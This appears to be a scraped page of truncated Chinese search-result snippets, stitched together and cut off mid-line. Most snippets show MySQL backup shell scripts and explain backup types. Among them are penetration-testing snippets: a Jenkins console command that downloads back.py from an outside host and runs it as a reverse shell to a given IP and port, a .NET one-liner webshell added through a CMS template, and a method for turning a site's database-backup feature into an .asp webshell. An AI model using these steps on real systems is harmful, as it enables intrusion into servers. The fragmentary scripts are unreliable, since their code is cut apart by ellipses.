1、分库备份 !/bin/bash image.png 2、分库分表备份 !/bin/sh image.png [ !
概述 mysql脚本加crontab实现自动备份。 具体内容 vi /opt/mysqlBackup.sh #!.../bin/bash mysql_user="USER" # MySQL备份用户 mysql_password="PASSWORD" # MySQL备份用户的密码 mysql_host="localhost..." mysql_port="3306" mysql_charset="utf8" # MySQL编码 backup_db_arr=("db1" "db2") # 要备份的数据库名称,多个用空格分开隔开...# 欢迎语 # 判断MYSQL是否启动,mysql没有启动则备份退出 mysql_ps=`ps -ef |grep mysql |wc -l` mysql_listen=`netstat -an |grep...exit else echo $welcome_msg fi # 连接到mysql数据库,无法连接则备份退出 mysql -h$mysql_host -P$mysql_port -u$
/bin/bash mysql_host="localhost" mysql_user="xxxx" mysql_pwd="xxxxx" #保存备份sql的文件路径 db_dir="/data/backup...-d $db_dir];then # mkdir $db_dir #fi db_arr=$(echo 'show databases' | mysql -u$mysql_user -p$...mysql_pwd -h$mysql_host) #获得当前日期 date=$(date +%Y%m%d) ziname=$date".zip" #指定的数据库文件 thisdb="zzaly"...date".sql" for dbname in ${db_arr} do if [ $thisdb == $dbname ];then mysqldump -u$mysql_user...-p$mysql_pwd -h$mysql_host $dbname > $db_dir"/"$sqlfile fi done find $db_dir -mtime +5 -type f |
每天固定时间用mysqldump 备份mysql数据。 #!.../bin/bash 每天早上4点, mysql备份数据 orangleliu chmod 700 backup.sh crontab -e 0 4 * /home/erya/run/moniter/...mysql_backup.sh user="radius" password="" host="localhost" db_name="radius" backup directory base_dir...="/home/backup" backup_log="${base_dir}/mysql_backup.log" backup_path=${base_dir} file info date=$(date
完全备份指定数据库 DIR=/database/backupdir FILE_NAME=`date +%y%m%d%H` FILE_NAME=$DIR/db_$FILE_NAME.sql.gz echo...quick --routines --single-transaction --master-data=1 db_name | gzip > $FILE_NAME echo finish backup 从备份的文件恢复数据库...#db restore abc gunzip < /backupfiledir/12082917.sql.gz | mysql --user=dbuser --password=dbpwd --port...=3336 --host=10.10.20.1 --database=test 在备份时出现mysqldump: Error: Binlogging on server not active时,是因为mysql...的binlog没有启动,在mysql的my.ini文件中[mysqld]下面添加 log-bin=mysql-bin 然后重新启动mysql服务,问题就解决
】 在此还是声明一下 个人觉得,冷备份也可以不在停机状态的 只要当下没有多少更新操作业务即可 环境 CentOS 7.9 MySQl5.7.32 ---- 冷备份/还原全部数据 这种方式,备份了整体的...,重命名一下 tar jxvf data_cold_back.tar.bz2 data # 解压冷备份数据到 data 目录 然后,重启 mysql 服务,查看数据就是之前的备份 service mysql...感觉,这个技术含量不如 —— 使用 XtraBackup 进行数据热备 ---- Shell 脚本自动备份 不过,这种方式需要 MySQL 服务开启,不然无法备份数据 个人觉得有点像热备份 但是,.../bin/bash # 以下配置信息请自己修改 mysql_user="root" #MySQL备份用户 mysql_password="MT123456" #MySQL备份用户的密码 mysql_host.../test_pxc-202101291229.sql 参考文章 —— 【CentOS MySQL 自动备份 shell 脚本】 【题外话】 个人觉得 这种方式倒是挺适合本地测试或者小型项目
关于反序列化的问题,如果不懂java就是苦逼,小弟我就是这样的苦逼,这个先放一边,先把jenkins拿shell的方法整理一下。 文章来自安全脉搏,略有改动,更加精简。。。 ?...二、Jenkins拿shell方法 1、直接wget下载back.py反弹shell,如下: 1 println "wget http://www.waitalone.cn/tools/back.py...-P /tmp/".execute().text 2 println "python /tmp/back.py 10.1.1.111 8080".execute().text 2、多种方式写shell
/bin/sh # 备份数据库 # Mysql 用户名密码 MYSQL_USER=root MYSQL_PASS=root BACKUP_DIR=/data/backup/mysql DATA_DIR...| mysql -u$MYSQL_USER -p$MYSQL_PASS -Bs) # 当前日期 DATE=$(date -d '+0 days' +%Y%m%d%H%M) # 打包名称 ZIP_NAME...="mysql_"$DATE".gz" # 删除一个月之前的数据库备份 find $BACKUP_DIR -name "mysql_*.gz" -type f -mtime +30 -exec rm...= 0 ]; then rm -r $DATA_DIR fi ---- 第二种方法: 可以选择设置需要备份的库,自动备份压缩,自动删除 7 天前的备份,需要使用 crontab 定时执行。.../bin/bash # 要备份的数据库名,多个数据库用空格分开 databases=(db1 db2 db3) # 备份文件要保存的目录 basepath='/root/backup/b3log.org
案例需求 写一个mysql binlog备份脚本,要求每天0点0分,计算机自动备份前一天的binlog日志,打包后发送给备份服务器。.../bin/bash #Description: #Author: www.zutuanxue.com #Created Time: #将mysql的binlog日志备份到备份服务器 ######...##variables db_user='root' db_password='' log='/var/log/mysql_backup.log' ###main #获得信息 binlog_dir...='/var/lib/mysql' current_binlog=`mysql -u $db_user -e "show master status"|egrep "binlog....[[:digit:]]*"|awk '{print $1}'` date >> $log #准备备份 #1 刷新binlog mysql -u $db_user -e "flush logs"
/bin/bash host="目标ip" id="用户名" pwd="密码" dbs=$(echo "show databases;" | mysql -u$id -p$pwd -h$host) nodeldb...="Database information_schema performance_schema test mysql" backuppath="/root/mysqlbackup" day=15 localIp...-d $backuppath ] &&mkdir -p $backuppath cd $backuppath backupname=mysql_$(date +%Y-%m-%d) for db in $...== "0" ] then echo $(date +%Y-%m-%d)" $localIp $host $db mysqldump sucess">>mysql.log else...echo $(date +%Y-%m-%d)" $localIp $host $db mysql dump failed">>mysql.log echo $(date +%
/bin/bash # mysql 的备份脚本 # 备份原理: # 1 # 使用列举出所有的库; # 2 # 使用每个库,列举出每张表,除了指定忽略的库; # 3...# 7 # 发送处理日志到指定email # 8 # 请配合同步工具多处服务器备份 # mysql备份配置信息 mysqlBackupUser="backuper"...)(performance_schema)" #备份的目录,后面需要加/ backupRoot="/var/backup/hostname-mysql-data/" # 删除存在大于以下天数的备份目录...因为正面的命令使用到 smtpUser="qidizi@qq.com" #smtp://协议是必须的 smtpHost="smtp://smtp.qq.com:25" #密码不能包含又引号防止shell...fi fi appendLog "今天的备份目录:${todayRoot}" ver=$(mysql --version 2>&1) if [ "$?"
/bin/sh bk_to="/var/mysql-backup-`date +%Y-%m-%d-%k-%M-%S |tr -d ' '`" user_name="root" user_pw="dev"...sql=" flush tables with read lock; system cp -pR /var/lib/mysql $bk_to; unlock tables; " mysql -u
mysqldump --help mysqldump 是一个常用的命令行工具,用于备份和还原 MySQL 数据库。...mysql的N种姿势 #!..." # 还原备份文件到测试数据库 mysql -u$db_user -p$db_password -h$db_host -P$db_port < $backup_file #..." # 还原备份文件到测试数据库 mysql -u$db_user -p$db_password -h$db_host -P$db_port < $backup_file #...检查数据库是否能正常运行 mysql -u$db_user -p$db_password -h$db_host -P$db_port -e "SHOW DATABASES;" } # 定义过期备份清理函数
3)差异备份 差异备份是针对完全备份:备份上一次的完全备份后发生变化的所有文件。(差异备份过程中,只备份有标记的那些选中的文件和文件夹。...它不清除标记,既:备份后不标记为已备份文件,换言之,不清除存档属性)。 差异备份是指在一次全备份后到进行差异备份的这段时间内,对那些增加或者修改文件的备份。...在进行恢复时,我们只需对第一次全量备份和最后一次差异备份进行恢复。差异备份在避免了另外两种备份策略缺陷的同时,又具备了它们各自的优点。...三、比较 1)按备份数据量,从多到少排序: 全量备份->差异备份->增量备份 2)按数据恢复速度,从快到慢排序: 全量备份->差异备份->增量备份 四、不同备份类型组合说明 1)全量备份和增量备份结合...2)全量备份和差异备份结合(建议使用) 以每周数据备份计划为例,在星期一进行全量备份,在星期二至星期五进行差异备份。如果在星期五数据被破坏了,则你只需要还原星期一完全的备份和星期四的差异备份。
差异备份(Differential Backup) 备份自上一次完全备份之后有变化的数据。差异备份过程中,只备份有标记的那些选中的文件和文件夹。它不清除标记,也即备份后不标记为已备份文件。...差异备份是指在一次全备份后到进行差异备份的这段时间内,对那些增加或者修改文件的备份。在进行恢复时,我们只需对第一次全备份和最后一次差异备份进行恢复。...2、差异备份与增量备份的区别 通过上面的概念分析可以知道,差异备份与增量备份的区别在于它们备份的参考点不同:前者的参考点是上一次完全备份、差异备份或增量备份,后者的参考点是上一次完全备份。...下图展示了差异备份与增量备份的区别,其中Cumulative为差异备份,Differetial增量备份: 3、不同备份类型组合应用的示例 完全备份与差异备份 以每周数据备份计划为例,我们可以在星期一进行完全备份...,在星期二至星期五进行差异备份。
路 获取mysql服务器所有数据库名称,过滤掉不需要备份的数据库 通过mysqldump来for循环导出所有的数据库的sql文件 用zip加密压缩所有的sql文件 定期进行数据清理工作 shell代码.../bin/bash #1.数据库信息定义 mysql_host="192.168.1.1" mysql_user="root" mysql_passwd="root"...;" | mysql -u$mysql_user -p$mysql_passwd -h$mysql_host) #不需要备份的单例数据库 nodeldb="test1" #当前日期...= 0 ]; then rm -r $data_dir fi 数据定期清理脚本 作用定期清理14天前的备份文件 shell代码 #!.../bin/bash - #1.参数配置 #mysql文件备份目录 backup_dir1="/backup/test1/" backup_dir2="/backup
接触渗透时间,按暑假来算的话已经2个月多了,接触渗透几天,瞎打瞎闹拿了个shell,之后各种查资料查姿势,终于提权成功了。 然后就自认为渗透真简单,天天批量扫注入,提交漏洞平台。...后台拿shell的3.6版 直接添加模板,添加.NET一句话 ? 忘了之前为什么要编码了,我自己在本地复现的时候,直接正常的一句话可以直接连上。 而且添加的模板是直接在根目录下生成,所以直接访问 ?
password="111111" #mysql连接端口 port="3306" mysql_path="/usr/bin/" date=$(date +%Y-%m-%d_%H-%M-%S) del_date...for dbname in $(mysql -P$port -u$user -p$password -A -e "show databases\G"|grep Database|grep -v schema...>>$backup_log fi done cd $backup_path tar zcpvf mysql_all_databases_$date.tar.gz $date rm -rf $backup_path.../$date du mysql_all_databases_$date.tar.gz -sh | awk '{print "文件:" $2 ",大小:" $1}' echo "==========All...==========" >>$backup_logossutil64 cp $backup_path/mysql_all_databases_$date.tar.gz oss://bucketName
测试之前 数据库备份拿webshell算是比较老的web后台才有的一个漏洞,之前也做过类似的,这次偶然有机会帮朋友看来一个类似的站,所以在此分享一下。仅供学习,严守底线。...然后发现有数据库备份,这网站基本凉了: ?...通过前面的信息我们可以看到这是asp+iis的站点,但是数据库备份的地点原始数据库不能更改但是备份数据库的可以更改,这比较简单,突破一下,抓包改一改就行。...简单说一下数据库备份拿shell的原理,数据库备份是为网站管理者提供备份数据的功能,网站管理者可以将指定位置的文件进行备份,但是为了安全,网站后台都是不允许我们自己指定位置的,比如我们现在这个,但是这个一看就是在前台加的限制...,后台没有校验,所以我们可以向上传一个写入小马的图片文件,然后得到他的路径,在将这个路径进行数据库备份,备份是指定w为asp后缀就行。
领取专属 10元无门槛券
手把手带您无忧上云